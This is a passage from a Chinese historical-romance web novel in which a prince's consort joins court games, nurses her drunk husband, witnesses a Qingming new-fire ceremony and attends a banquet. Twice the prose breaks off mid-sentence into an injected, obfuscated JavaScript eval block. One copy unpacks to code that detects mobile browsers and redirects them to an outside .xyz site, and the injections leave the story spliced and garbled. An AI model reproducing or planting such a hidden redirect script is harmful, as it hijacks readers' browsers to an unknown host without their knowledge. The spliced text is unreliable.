还有木霆风,他又会为谁效力呢? 正思索间,贾琦的脚步声传来。 她悄悄拨开帘子走进来,放轻了动作,在万姝丹身上摸索,从她怀里找到了一枚玉佩。接着,贾琦拿着玉佩走到内室,很快再次出来,把玉佩放回万姝丹的怀里。 做完这些后,贾琦轻轻推推万姝丹,“可兰?醒醒。” 万姝丹小幅度伸展一下身子,睁开眼。 贾琦问:“怎么样?好些了吗?前面他们玩得正热闹,你休息好了也来吧。” 29.醉酒 万姝丹随着贾琦转到了前庭,走到半路时,就听见前面一阵喧嚷,似乎是正在叫好。 贾琦拉起万姝丹的手,小跑了起来,“快点!看看是谁赢了!” 万姝丹的左手被贾琦抓在手里,另一手提起裙摆,跟着跑了几步。还未到近前,就听到宁馥大声说:“不算不算!方才五哥都看到碗里是什么东西了!” “那是你不小心露出来了,怎么能算在我的头上?”宁熙的声音带着醉意,“好了,你五嫂来了,你可欺负不了我了。” 宁馥转头看见万姝丹,招呼她,“五嫂要来猜猜吗?” 万姝丹缓步上前,“这是在玩什么?” 郑琬接道:“射覆。要我说,子郁你就该放一个难一点的,毛笔这样简单的东西,我蒙都蒙得出来。” 贾琦拉着万姝丹到一张小几前,“来,你也来猜猜看。我给你出题。你先转过去。” 万姝丹依言背过身去,宁熙就在她右前方,正微笑地看着她。 贾琦话音里带着笑意,“好了好了。” 万姝丹转过身,就见贾琦在对面的小几后坐着,小几上一个倒扣的碗。其余的人都在刚才的位置。她默不作声将每个人都扫视一番,心下已然有了计较,只是她确实不懂占卜,这该怎么编排呢? 正当她犯愁之际,身后贴上一片热源。宁熙的呼吸扑在万姝丹耳边,酒香味瞬间兜了她满怀。 宁熙越过万姝丹的肩膀,拿起小几上的签壶,几下摇晃,掉出来一根签子。他俯身在她耳边说:“你猜到了,对吗?” 这同时,那边传来几个声音。 “哎!怎么还有援助!” “五哥又这样玩!” “那这一把不作数了啊!” 万姝丹笑了,她的声音还掺杂着酒后的软绵感,“对不住了大家,我确实不懂占卜。” 宁恪说:“罚酒罚酒!” 万姝丹听到宁熙的声音,连带着感受到了他胸膛的微微震动,“怎么不先让可兰说说看?” 宁远扑哧笑了,“说了有什么用,那也不是她算出来的。” 宁熙懒懒地说:“方才你们几个人可是合伙来欺负我,现在我也有人了……” 宁恪摆摆手,“那她不喝了,罚你喝酒!” 郑琬倒是有点好奇,她截下话头,“可兰说说看,这碗底的是什么?” 万姝丹回道:“是三嫂嫂钗上的一朵掐丝珠花。” 宁馥怪叫:“猜对了猜对了!” 顾别清眼神里带着赞许。 贾琦抚掌,“子煦可以啊,醉酒都不耽误你计算。” 宁馥不乐意了,“换个玩!射覆玩不过五哥!” 宁恪扔下酒杯,“行,那正好来投壶,罚也不罚别的,就‘曲界’,怎么样?” 仆从手脚麻利地更换器具。 万姝丹看着投壶被放置好。她心说这个游戏可太熟悉了,也太简单了,只是她现在不能百发百中,不禁有些郁闷。这个游戏她玩得最好了! 宁恪率先起身,“来吧,咱们正好分成四组,一共十支箭。除去第一名,剩下的都要罚酒。第二名喝两杯,第三名喝三杯,第四名喝四杯。” 顾别清皱了皱眉,也不好说什么。 万姝丹走过去,站在宁熙旁边。见宁熙看着自己,她将一支箭递给他,“你先。” 宁熙右手执箭,略微瞄准,第一个将箭掷了出去,落在了壶前。 宁远见了,“可惜,差点意思。”他在其余二人尚在瞄准时,第二个将箭掷出,只听“咚”一声,箭稳稳插进了壶里。 五支箭过后,宁恪、宁馥进了四支,宁远进了五支,宁熙进了一支。 轮到女郎们上场了,万姝丹拿着箭,比划了很久。她想着看看别人情况如何,再掂量掂量自己应该投中多少支。 投壶作为一款上至宫廷下至民间,都十分风靡的游戏。以她现在的身份——一方诸侯王之女,说不懂占卜还有可能。若是投壶都不会,那就太假了些。 万姝丹目视前方,看着自己的投壶,耳朵听着旁边的动静,一支、两支投中了,第三支,要空。 万姝丹在第三支箭飞到一半时,就掷出了自己手中的箭,这支箭落在了壶侧,轻微碰到了壶身。 又五支箭过后,顾别清进了五支,贾琦进了四支,郑琬和万姝丹都进了三支。 宁恪率先拿起酒杯,“好好好!六弟拿了第一。” 宁馥抢先说:“三哥与四哥都投中了八支,算是并列第二,罚两杯吧!” 宁恪大笑,“行!就依你!” 万姝丹见宁恪一人喝了两杯。郑琬喝了一杯,宁远就只喝一杯。 她伸手拿过了宁熙手中的酒杯,一口饮尽。 当她正拿第二杯要喝时,贾琦说:“咱们只能代喝一杯。” 郑琬放下酒杯,“这规矩是死的,人是活的。子煦今日已经喝了不少了,你少灌他吧。” 贾琦“嘿”了一声,“别清你说说,是不是‘没有规矩,不成方圆’?” 顾别清将落在肩前的发带拨至身后,“三嫂嫂说得不错,规矩是由人制定的,若是太看重规矩而失了人情,反倒是悟错了重点。” 贾琦指向二人,“好啊,你们两个合起伙来针对我。” 宁熙在他们争辩的时候,从万姝丹手里拿过酒杯,连续喝了两次。 贾琦抚着心口,“还好子煦是个重规矩的人。” 宁恪这时已经要站不住了,他看了看天色,吩咐仆从们整理东西。 拾阶而下时,宁恪走在最前面,郑琬与宁远并排走在他后面,贾琦与宁熙走在第三位,万姝丹就跟在这二人后面,宁馥与顾别清走在最后。 万姝丹听着贾琦对宁熙说着话,无非就“规矩”二字聊个不停。 “子煦,我再跟你说。前些日子,我府里出了一个不规矩的婢子,可把我给气坏了。从那儿以后,我就极看重规矩……啊!” 贾琦说着说着,一脚踩到了台阶旁边的草地里,高低落差之下,她站不稳,就要摔。宁熙反应慢了半拍,伸手就去捞她。却因为醉酒而头重脚轻,加上他一直强忍着腹里的疼痛,手上失了分寸,跟着一起要倒下去。 万姝丹见状,弯腰抱住了宁熙的肩膀。她所在的台阶比宁熙高出两级,弯腰时,玉佩从怀里滑落,落在宁熙的身上,又顺着衣摆掉入贾琦的腿上。 彼时贾琦已经坐在了草地上,她正要拿起这枚玉佩,却被宁熙眼疾手快先拿走了。 宁熙低头看着手中的玉佩,有些怔愣。 贾琦望过来,“这是可兰的玉佩?” 万姝丹将宁熙扶好,回说:“是父亲留给我的。” 宁远一步一步走上来,“这是怎么了?琦娘喝醉了不成?” 贾琦顺着话音揉揉脸,“是有点。” 宁远拉起贾琦,郑琬上来替她拍拍身上沾的土。 贾琦整理着衣服,“方才若没有子煦拉我一下,真要摔疼了。多谢子煦了。” 宁熙说:“四嫂嫂不必客气。” 那三人顺着台阶下去了,宁远走在前面,贾琦挽着郑琬走在后面。 宁熙将一条胳膊伸过来,万姝丹会意,伸手扶着他。 往下刚走两步,听得一声布料撕裂音。 顾别清在后面小声呼喊,“五嫂嫂,你的裙子!” 万姝丹今日穿的是一条绛碧双丝绫裥裙。此刻裙子被旁边的树枝勾出一条极长的裂缝。 前面的人听到动静,回头看过来。 贾琦见状,“都怪我,若不是我方才不小心,可兰的裙子也不会挂到树枝。” 万姝丹微微一笑,“如何能怪四嫂嫂,是我没留神罢了。” 贾琦拉过郑琬,指着裙子,“你看这还有补救的办法吗?” 郑琬看过去,摇摇头,“怕是没有了。” 万姝丹连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她坐回床边,一手捏着药丸,一手扣住宁熙的下巴,拇指顺着他的唇缝轻轻往里顶,然而宁熙死咬着牙齿。 万姝丹对寻夏说:“你来,拿着药丸。” 她用腾出来的那只手,捏住宁熙的脸颊,微微用力,声音放轻,“殿下,张嘴,殿下……” 一声连着一声。 宁熙似是有所感,脸颊也被万姝丹捏得发麻,他松开了齿关。 万姝丹立刻将拇指卡了进去,“轻点咬,轻点。哎,殿下,轻点……” 她一边说着,一边快速从寻夏手中抓过药丸,用拇指食指捏住药丸,剩余三指扣住宁熙上齿,稍稍用力,将齿缝掰大了一点。然后迅速把药丸塞了进去。 寻夏早就准备好了水碗,端在万姝丹手侧。她顺手接过水碗,往宁熙嘴里灌了一小口水。 水顺着他的嘴角流了下去。 万姝丹轻拍他的脸,“殿下,放松,殿下,咽下去……你会没事的。殿下!” 宁熙恍惚间睁开双眼,眼神瞟到万姝丹脸上。 “咽下去,殿下……对,好,好了好了。” 万姝丹松了一口气,她放开宁熙,活动一下双手,“让殿下靠一会儿吧,我怕他躺下又要吐。” 寻夏点点头,收拾好了之后就退了出去。 今日万姝丹也喝了不少酒,此刻放松下来,酒劲逐渐爬上来。她将贵妃榻挪到床边,紧挨着床,躺下睡了过去。 待醒来时,天已微暮。内间光线昏暗,万姝丹偏头看去,宁熙乖觉地靠着迎枕,睡得正熟,呼吸稍显沉重。 万姝丹支起上半身,伸手时碰到了撕裂的裙摆。 忽然她心中有了计较,连忙起身,转去外间,就见景煜守在堂门口。 听得脚步声,景煜看过来,行礼道:“王妃……” 不待他说完,万姝丹从裙摆上撕下一小条布料,塞进景煜手中,“你现在去层意阁,买点糕点。然后把这条布料悄悄交给李掌柜。” 30.新火 三月七,清明。 离天亮还有些时间,武帝在含元殿醒来,他推醒了怀中的崔美人。崔美人识趣地起身,虽然一步三回头,但步伐不减,很快就离开了,只留下几个多情的回眸。 武帝看在眼里,心中想着别的事情,“苏尚。” 苏尚快步走进来,“陛下。” 武帝坐在床边,沉默不语着。苏尚候在一旁,耐心等待。 一时间殿内只能听见灯花燃烧的声音。 “今日清明了?” 苏尚弯下腰,“回陛下,今日清明。” 武帝略一点头,“唔,听说以前的时候,每逢清明日,都会由宫中赐新火,将以明而代暗,乃去故而从新。”① 苏尚听了这话,心思飞转,“老奴倒是不知有这一习俗?” 武帝轻哼:“你什么都不知道,柳传呢?昨日和朕约好了,现在他可到了?” 苏尚回说:“柳学士已经候在殿外了。” 武帝挥挥手,“行了,让他不必进来了,直接去办事吧。” 天光穿透云团,清明这日的黎明是多云的。一线一线光缕如有实质,照射进京城之中。 柳传站在含元殿前,眯着双眼看向天空。 苏尚从殿中走出,低声说:“柳学士。” 柳传回头,行礼道:“有劳苏内侍了。” 苏尚提着衣袍,迈着小步走到台阶之下。 柳传得了令,站在含元殿前,对台阶下候命的殿中省殿中监赵长秋、内侍省内侍监苏尚说:“奉陛下之命,着令殿中省与内侍省进新火于紫宸殿前。” 他宣说完口谕,微微一笑,“陛下的意思是,殿中省与内侍省均统六局,一共十二局的小儿在紫宸殿前钻木取火,得火者进上,陛下有赏。” 二人领了命各自离去。柳传也跟着离开了含元殿,往紫宸殿走去。 不一会儿,几批小儿集中在紫宸殿前。 柳传站在台阶上,看着这群小孩安安静静的样子,眉眼间很冷淡,“开始吧。” 得了命令,下面的人走动起来,很快,就有燃起火星的木头放进了炭盆中。炭盆里整齐摆放着许多粗木棍。带有火星的木头放进去后,自有内侍上前慢慢煨火。 待到十二根木头放进去后,内侍加入干草,扇着扇子。 柳传看了一眼炭盆,又看了一眼天色,对苏尚说:“苏内侍,该出发了。” 一路上,这队人走得十分安静。 天又亮了些,竟是有破云而出之兆。 柳传走在最前面,他身后有两位内侍共同提着炭盆,里面火烧得正旺,上面罩着一层铁网。剩下一些内侍手里提着备好干草的小炭盆。 小儿们腿短,走得不快,可炭盆等不得,所以他们的速度不慢。小孩子们需要跑几步才能跟得上,柳传心知肚明。 孩子们并不知道去哪里,他们鲜少离开本省,又懵懵懂懂,只是亦步亦趋地跟在这群大人身后。 大人们穿过第二道宫门后,往东拐去了。 从二道宫门这个位置,已经能看见宫城外的直道了。 有几个孩子往那边投去一眼,很快又低下头,匆匆往东走去。 又走过长长一段路,穿了好几道宫门。孩子们小口小口喘着气。 时间尚早,两侧殿阁还未来人上值。 他们一行人穿梭在空旷的宫道上。 又过了一道门,东宫的内侍迎上来,他被这么大的阵仗吓了一跳,“苏内侍,这是……” 苏尚说:“殿下呢,陛下赐新火于殿下。” 东宫正寝,小内侍跑着来传报,“殿下,苏内侍正在殿外,说是陛下给您赐新火了。” 南芸问:“什么新火?” 小内侍支支吾吾也说不清。 南芸又问:“外面都有谁?” 小内侍说:“有许多人,苏内侍等着呢。” 南芸沉吟几分,“快,福临,伺候殿下更衣!如意,为我更衣!” 柳传站在正殿外,盯着眼前的砖块。两位内侍已经将炭盆放好,取下铁丝网。所有人都默不作声地等待着。 还好宁郅没让他们等太久。 柳传见了太子,先行行礼,“臣见过太子殿下。” 下面的人一齐行礼,“见过太子殿下。” 宁郅笑:“好说,好说。起来吧。” 柳传没给宁郅说话的空隙,“古时清明这日有一个传统,就是由陛下赐新火给群臣,以示新旧交替。今日臣奉陛下之命,将宫中得到的新火赐予殿下,望殿下沐陛下厚恩,再赐群臣,以彰陛下殊恩厚渥。” 宁郅看了一眼炭盆,“依你所说,依你所说。” 柳传以眼神示意苏尚,苏尚说:“开始吧。” 小内侍们依次上前,用铁钳从炭盆里夹出一根木棍,放入小炭盆中,再由两人跟在身后,三人一组往宫外走去。 柳传观那边进行得井然有序,对小儿们说:“太子殿下感念你们今日钻木取火,为我大夏带来新晨,特赐每人绢三匹,每局金碗一口。另外赏这些小儿糕点若许。” 孩子群里传来小小的骚动,许多人脸上显出兴奋的神情,看着站在台阶之上那个身着明黄色衣袍的人。 很快,这些声音复又沉寂下去。 柳传对苏尚说:“让他们回去吧。” 宁郅出来走个流程,也准备回去了。 南芸稍稍等了等,她走到殿侧,让婢女去请柳传。 柳传转个弯,行礼道:“臣见过太子妃。” 南芸面上和煦,“柳学士请起,今日劳烦学士走这一趟。” 她伸手,身旁婢女捧着托盘上前,“小小心意,还望学士笑纳。” 托盘里是一柄玉如意。 柳传不为所动,“都是为陛下办事,太子妃不必如此。若是……” 南芸听得此话,挥退了身边的侍从。 “若是太子妃想了解什么,直接问下官便是。” 南芸也不多废话,直接问:“不知今日这赐新火是?” 柳传回说:“这清明赐新火与寒食禁火有关。所谓寒食禁火,即钻燧改火,既曰就新,即去其旧。古时有在清明这日贶群臣新火,示新旧交替,昭皇恩浩荡。” 南芸略一思索,眼神亮了亮,“这新火,可是刚从宫里来的?” 柳传笑意盈盈,“陛下一早就命十二局小儿生新火,送抵东宫,再由东宫传往九陌千门。” 南芸喜上眉梢,她定了定神,“多谢学士为我答疑,这玉如意……” 柳传行礼,“太子乃是储君,这些事情,是臣的本分。” 晨光熹微中,一点点星火从东宫发出,出正德门,流入京城巷陌之中。 新火到时,宁熙正准备出门去上值。 万姝丹昨日没得到自己想要的回答,今日一早就候在岁安院门口,大有要跟宁熙一起出门的架势。 见到万姝丹抱着双臂靠在院门框上,宁熙脚步一顿。 “殿下怎么今早没来熹微院?” 万姝丹也给自己寻了个理由。 宁熙理着衣袖的手停顿一瞬,无奈看了她一眼。从她面前走过,沿着直道往府外走去。 景煜没敢从万姝丹前面走过,他站在旁侧等了等。 果然万姝丹追着宁熙去了。 “殿下!” 宁熙步履不停。 “站住!” 万姝丹足尖轻点,一把抓住他的手腕,晃晃悠悠走到他面前。 她稍稍睁大双眼,慢慢眨了眨,显得无辜极了,“殿下要一直不理我了?” 宁熙看着这双眼睛,实在无法忽视。 他叹气,“别闹了。” 万姝丹其实也不想知道他是不是吃味了。这短短几日,宁熙对她的态度大变,万姝丹有点摸不着头脑。 “殿下这几日对我与以前不同了,让我觉得好像我可以更放肆一些。” 宁熙长眉下一双明目,清亮如月光。 “王妃与我不是已经握手言和了?” 穆离匆匆走来,见了这场景,站定在原地。 宁熙看向他,“什么事?” 穆离面色如常,行礼道:“有内侍来了。” 万姝丹闻言松了手,与宁熙一前一后走到了府门口。 小内侍见了,行礼道:“见过殿下、王妃。今日清明,这是从东宫传来的新火,意去旧迎新。陛下恩光拂照,泽披殿下、王妃,万望殿下、王妃更新气象,煌煌开新日。” 宁熙莞尔一笑,“多谢。” 景煜见状,给了小内侍一块绸包。 小内侍接过,悄悄掂量几下,笑得更灿烂了。他们把炭盆放下后,躬身离开了。 穆离指挥仆从将炭盆搬进王府,他也跟着去了后面。 景煜率先出了府门去等宁熙。 未等宁熙有所动作。万姝丹在碍事的人都走之后,一把抓住宁熙的胳膊,将他按在旁边府墙上。 宁熙被她困在方寸之地,闻到了从她身上散发出的浅淡紫茸香,罕见变了脸色。 层层红晕爬上他的脖子。 万姝丹只顾盯着宁熙的双眼。 宁熙一时之间觉得呼吸有些困难,他定了定神,清清嗓子,“你要做……” 话未说完,后半句就被他吞了下去。 万姝丹抓着他的手,一口咬住他的指尖。 随后她得意一笑,留下一句“殿下想要戳我一簪子,我咬殿下一口,扯平了”,就翩然离去。 * 万姝丹这一日都没出府,她窝在书房里,看着宁熙的批注消磨日头。 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万姝丹长眉微挑,“难得啊殿下,这是殿下第一次约我出去吧?” 宁熙站得放松,一身黑袍衬得他的这抹笑,如月光洒落,“你不想知道沈济之的回复吗?” 万姝丹莫名,“我需要了自会去的。” 宁熙无奈了,“那就当我邀请王妃,今日清明,本应出门踏青的。我听寻夏说,你一日都未出府。” 万姝丹看着站在暮色四合中的宁熙,点点头。 “你手里这是什么?” 宁熙与她并肩走着,“杜府的请帖,明日你要与我一同赴宴。” 坐上马车后,万姝丹问:“杜府画舫的事情解决了吗?怎么突然要请客。” 宁熙拿起小几上的茶壶,倒了两杯茶水,“先喝一杯润润嗓子。没有,没听京兆府那边有什么消息。想来是还未查出什么。而且看起来,杜府追得不是很紧。至于这宴席,谁知道呢。” “那都请了哪些人?” 宁熙看她,“怎么,王妃连皇上都见过了,还怕别人?具体请了哪些,我也不清楚。但想来清明的宴席,人肯定不会少。” “请帖上没有特殊说明,那么宴席的邀请人大概是杜家长子杜昊。既然是杜昊,那么大约都是一些世家子弟。” 到层意阁时,天光已没,层意阁灯火通明。 万姝丹与宁熙进入前堂。 李掌柜正与一个华服郎君说笑,“郎君快别说了,我这层意阁是措施做得最足的。当日姚府尹来过之后,我又叫人布置了一遍。肯定不会扰了大家的兴致!” 那郎君哈哈一笑,“李掌柜心细如发。如今金川楼没了,这层意阁可是变得炙手可热了啊!” 李掌柜朗然一笑,“那要多谢诸位抬爱了。还希望明日西渚楼开业之后,大家也不要忘了我这里!” 有小二走上前,询问宁熙,“二位是在前楼,还是去后院?” 宁熙看向万姝丹。 万姝丹指指楼上,“就楼上雅间吧,要一个清静些的。” “好嘞,您二位这边请。” 上了三楼,小二带他们拐入一条布局更为华贵的走廊。 左侧栏杆下,还能看到李掌柜在不断与人攀谈。 进了雅间,坐下后,万姝丹随手翻看着菜牌,“所以今日颁赐新火,真是从东宫来的?” 宁熙抬手又倒了两杯茶,“确实如此,而且是赐百僚。你要知道,这都是以前的老黄历了,清明日赐新火,以示皇恩。本来是由皇上赐予的,然而本朝第一次赐新火却是从东宫发出。” 万姝丹问:“未免太过大张旗鼓了。” 宁熙哑然失笑,“皇上想做什么,自然可以做什么。再者太子是储君,是未来的天子,为他造势,于情于理都挑不出毛病。” 很快菜就上来了。 宁熙四处瞧了瞧。 万姝丹说:“别找了,没有纸条,没有回复。” 然而这时又进来一人,将一张叠好的纸条放在桌上,悄然退了出去。 万姝丹疑惑地看向那张纸条。 宁熙笑出了声,“没有纸条?” 他打开纸条后,笑声戛然而止。 万姝丹好奇,掰过他的手腕一看,是一幅画。寥寥几笔勾勒出宁熙的神态。 “……”宁熙捏着那张纸,“这是什么意思?” 万姝丹忍不住笑了起来,抓住宁熙手腕的那只手都在颤动。 宁熙反握住她的手臂,语气温润又无奈,“别笑了。” 万姝丹另一只手抱着肚子,眼中盈满笑意,“二哥同你打招呼呢。” 31.杜府 三月初八。 万姝丹特意穿了一条晕繝彩条提花锦裙,这条裙子以绿青白三色做晕,过渡自然,上有平纹小提花,华美却并不独显。 杜府门前车水马龙,今日来赴宴的宾客不在少数。 万姝丹借着宁熙的手下了马车,抬眼望去,杜府并不像应有的那样气派。 这哪里像当朝仆射、从二品大员的府邸? 宁熙看出她心有疑虑,低声说:“杜若这人为人低调,所以他的宅邸看起来不声不显。其实杜宅占地不小,起码比咱府上大多了。” 万姝丹皱眉,“这不是有违规制吗?” 宁熙展眉一笑,“有违规制的事情多了去了。规制是什么?谁定的?皇上都不在意,御史们也懒得理。御史台平素本就繁忙,就算有一两个较真的,谁又敢因为此事弹劾从二品大员?就算真有人上奏弹劾,你觉得皇上会管吗?” “杜宅是皇上赐的地,后又扩建,也是经过了皇上的同意。” “昽原那个园子你觉得如何?杜宅的后园相比九里园是小了,但小而精密、亦能窥大。我带你去走走。” 杜家长子杜昊站在门口迎客。见了宁熙,他快步走上来,“五殿下,您可来了,三殿下、四殿下、六殿下他们早到了,就差您了。” 他看到宁熙身边跟着一位华服女郎,料想这就是秦家四娘,“见过王妃。” 万姝丹微微一笑,“杜长君不必多礼。” 杜昊在前方引路,“殿下这边走,穿过这里一直往后就是园子。” 宁熙应了一声。 杜昊说:“那下官先去忙,殿下慢走。” 等杜昊离开后,万姝丹注意到了一事,“他怎么自称下官?” 宁熙牵着她的手,小声说:“杜昊在户部度支司领了个郎中的职务。度支司是户部头司,税收上来的财物,没有度支的符牒,一般不得擅自动用。天下边军经费,每年皆由支度使报申度支核算。依照旧制,度支判案,郎中判入,员外郎判出,侍郎总押其案。” 万姝丹并不清楚六部中的人事情况,“那员外郎和侍郎是何人?” 宁熙沿着小径往前走,两侧树林阴翳,光线明灭,“度支司员外郎张向之,出身庐陵张氏。他是元凤十七年的明经及第,按理说并不会安排进入户部,原本是在国子监四门馆当助教,从八品上。” “然庐陵张氏是我曾祖母的家族,原本并非郡望,与皇室有了姻亲才抬高了地位。张氏这一代家主张允是礼部侍郎,与户部尚书有姻亲关系。所以元凤十八年张向之迁去了户部,做了度支司员外郎。” “户部侍郎薛寂,西州永宁人士,数代仕宦,贞弘年进士及第。这个薛寂颇有点意思,虽说是进士及第,却比明经那帮人更油盐不进。他可以说是朝中最大公无私的人,连他自己的儿子都未荫及。” “皇上当初正是看中薛寂这一品性,将他放在了户部,他慢慢升到侍郎这一位置。只是想要再升迁就难了。” 宁熙带着万姝丹走上一条小路,他抬手拨开花枝,防止枝条勾到万姝丹的发髻。 她今日戴了一对金拨簪,簪首布满细小的镂空,似蛛网,上面雕有花朵与蜂蝶。两侧各有两支金双股钗,上面镶嵌蓝色宝石。 路过一间偏阁时,里面忽然传来一声:“五殿下留步!” 宁熙回首,一位双鬓染白的人走上前来,“老臣见过五殿下。” 宁熙微微一笑,双手虚扶,“杜公快快免礼。” 另有一年轻人在杜含身侧,行礼道:“臣黎崇见过五殿下。” “见清,许久不见,听说前段时间升职了?” 黎崇笑了,“承蒙陛下厚爱。比起我的事情,殿下不如先来看看这幅画,杜公正心急呢。” 杜含搓搓手,“殿下请看,这是老臣新得到的一幅画。” 万姝丹默不作声探头瞧了瞧,这是一副山水画,画的是一座高山绵绵延延,溪水影影绰绰,在险峻处落成瀑布,继而平缓,顺山势潺潺流下。 宁熙却咦了一下。 “怎么样?”杜含竟有几分紧张显露在面上。 万姝丹不由得看过去。 杜含察觉到万姝丹的视线,呵呵笑了,“让王妃见笑了,老臣就是喜欢这些字画,因此有些紧张。这幅画老臣寻了许久。” 黎崇在旁打趣道:“杜公这不止是喜欢了,堪称‘痴’了啊。” 宁熙细细看完,下结论说:“让杜公捡到真迹了,这确实是沈运的亲笔画作。观此幅画构图峰回路转,用笔苍润有力。” 他用手指虚空一点,缓缓画了个圈,“此处下笔缜密中透着灵动,气势却沉雄苍郁,山石皴笔细腻,厚重又不失自然。中段山峦用折带皴,笔法精细,刻意留白处构成了白云与溪水,加上杂树丛草、石径、苔阶,都十分生动准确。 “再看纸张与墨的自然程度,可见不是近代仿作。上面的题跋与印章也能证明这一点。我倒是很好奇,以杜公之眼,怎会不能肯定这就是真迹?” 杜含叹气,“殿下有所不知,近年来古画市场上的仿作不胜其繁,连纸张和墨都能作旧。我心下有疑,就想找精于此道的人问问,正巧殿下路过宣意阁。” 宁熙了然,“原来现在竟有这种能工巧匠,当真大开眼界。既然如此,我已久不作画,眼力或许也已失真,不若杜公去翰林图画院问问?” 杜含犹豫,“新设立的官署,那些后生们……” “哎,杜公。”黎崇轻轻打断杜含的话,“我在宫里当值时见过那群人应召作画。依我之见,画得还是有水平的,否则哪儿能入得了皇上的眼?” 杜含好奇多问了一句,“不知比殿下……” 宁熙连忙说:“杜公抬举我了,自有高手在民间。如今又被皇上征召在身侧,我如何能与他们相比?” 杜含摆摆手,“殿下,这里没有外人,殿下又这么谦虚。我确实还想问问殿下,何时再提笔作画?老臣这里只得到一幅殿下的画作,不如再添一幅,也算好事成双?” 黎崇一旁应和,“让我听见了,殿下若是允许,也送我一幅。” 宁熙眉间浮现一丝忧伤,双眼盈盈望去,“杜公,见清,七年前我就不再拿画笔了,这要我如何……” 杜含一拍脑袋,“怨我,怨我,殿下千万不要同老臣计较,今日又听见殿下的点评,一时得意忘形,竟……竟……咳,殿下……” 宁熙笑得有点勉强,“无妨,杜公不必如此。” 杜含长舒一口气,“我就不多叨扰殿下了,后园里宴会快要开始了。老臣年纪大了,就不去凑热闹了。” 宁熙与黎崇一起走了出来。 三人走到了偏僻处。 “有些日子没见到殿下,不知殿下还适应吗?” 宁熙温和地说:“初到时确实有些陌生,这几日慢慢磨合,也摸清了一二。” 黎崇不复刚才谈笑的样子,他叹气,“当时殿下大婚,他们最终也没同意让秦四娘从宫中出嫁,只怕私下里殿下受的委屈更多。” 宁熙不甚在意,“这么多年我都习惯了,你还没习惯吗?” 黎崇声音发颤,“殿下……殿下!” “见清。” 杜府终究不是谈论往事的地方。 黎崇意识到自己的失态,快速调整好自己,他行了一礼,“还望殿下多保重。” 等到他走远了,宁熙转头看向万姝丹。不知为何,她瞬间就明白了他的意思,“没有,附近没人。” 宁熙点点头,“走吧。” 万姝丹好奇地问:“杜含的小女儿嫁给了贾家三郎,贾家的女儿又做了四皇子的王妃。按理说杜含也是四殿下那边的,怎么看起来同你聊得也很好。” 宁熙伸手拨开面前的花枝,“这就是朝堂,在朝堂之上无论怎么针锋相对,下了朝堂,都能坐到一起把酒言欢、谈诗颂乐。” 突然万姝丹凑近了宁熙,她抬手捞下一条花枝,偏头笑得温柔,“殿下……” 宁熙正不知这又是哪一出,脚步声就离得近了。 一声低呼从前面传来。万姝丹转头看去,见两个婢女齐齐跪在地上,低着头。 宁熙淡淡扫过去一眼,对那二人说:“下去吧。” 婢女们忙不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131641|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迭地起身,小跑着走了。 宁熙饶有趣味地说:“你信不信,用不了多久,这园子里大大小小的客人都能知道方才的事情?” 万姝丹后退一步,与他拉开了距离,“什么事情?方才的事情有什么不妥吗?你我‘浓情蜜意’,共赏花有什么不对吗?” 她咬紧牙关,着重强调了一下“浓情蜜意”四个字。 宁熙低笑一声,“好。王妃说什么就是什么。走,带你逛逛杜园。” 万姝丹疑惑,“不用去席上吗?” “着什么急,还没开始呢。去早了也是跟一群人聊天,还不如带你走一走。杜府的这个园子没有九里园大,不过里面别有乾坤。” 说话间,宁熙就带万姝丹左拐右拐,穿过一条小径,她就被面前的月洞门吸引了目光。 月洞门两侧是白墙,门里一条卵石路蜿蜒去了右侧,再往右露出一座厅堂的一角台基。路两侧草茂花繁,一株桃花树占据了左侧上方的空间,微微探下几根花枝。 风一吹,月洞门里花瓣翩飞。 宁熙拉着万姝丹走进这场花雨。 万姝丹被桃花香扑了满面,低头却看见卵石路衔接着青石板,石板间潺潺流水。 水流控制得极好,水面在青石板之下一点点的地方。再往前,石板路结束,变成了铺砖的路面,而流水一直沿着原来的方向滚下去,汇入小渠之中,撞出层层雪花。 渠水绕着右侧的地势,转了个弯看不见了。 宁熙见她久久没有说话,晃了晃她的胳膊。 万姝丹瞧他一眼,“确实很好,比王府的那个后园有意思多了。” “嘶。”宁熙似乎有些头疼,“我有让你做对比么?可是王府里的园子已经不能再动工了。” 万姝丹撒开他的手,往前小跑两步,“我是说这个园子很好,可我说过很喜欢这个园子了吗?” 宁熙恍然大悟,“啊,我就知道王妃还是喜欢自家的园子。” 万姝丹转转眼珠,“我不喜欢这个园子,就一定要喜欢王府的园子?” 宁熙奇了,“那你喜欢哪个?” 万姝丹拉长语调,“我啊……” “好啊,我说怎么半天还不见殿下的身影!原道是在这里消遣!” “这就是殿下的不对了,有这等美人,怎么不与我们介绍介绍?” “你放尊重点,好好看看那是谁!” “咦?呀!原来是王妃!王妃大人大量,不要与我计较才是。” 三个人从前面的门里走进来。 为首的一人身穿滚金墨绿袍,“五殿下!我可是找你好久了!杜昊说你早就来了!” 后面两个人中,穿绯色对花联珠袍的那人,就是出言不逊之人。 另一个人,正是黎崇。 宁熙唇边挂着浅笑,“我来介绍一下,这位是吏部度支司员外郎张向之,赫元侯家三郎第五璟,永济侯家二郎黎崇。” 一身绯色的第五璟笑嘻嘻道:“几日不见王妃,王妃比大婚当天更漂亮了,让我一瞬间没认出来,还望王妃不要记在心里。” 墨绿袍的张向之微微行礼,“见过王妃。” 黎崇站在门里,脸上带着温和的笑,“殿下,王妃。” 第五璟乐呵呵地走在万姝丹身侧,“王妃不要搭理黎崇那个家伙,以为在魁宿卫里升职快就了不起了吗?” 张向之笑骂一声,“他好歹在魁宿卫领了个职,你呢?不还是游手好闲?” 第五璟又笑,“我爹都不着急,你急什么?” 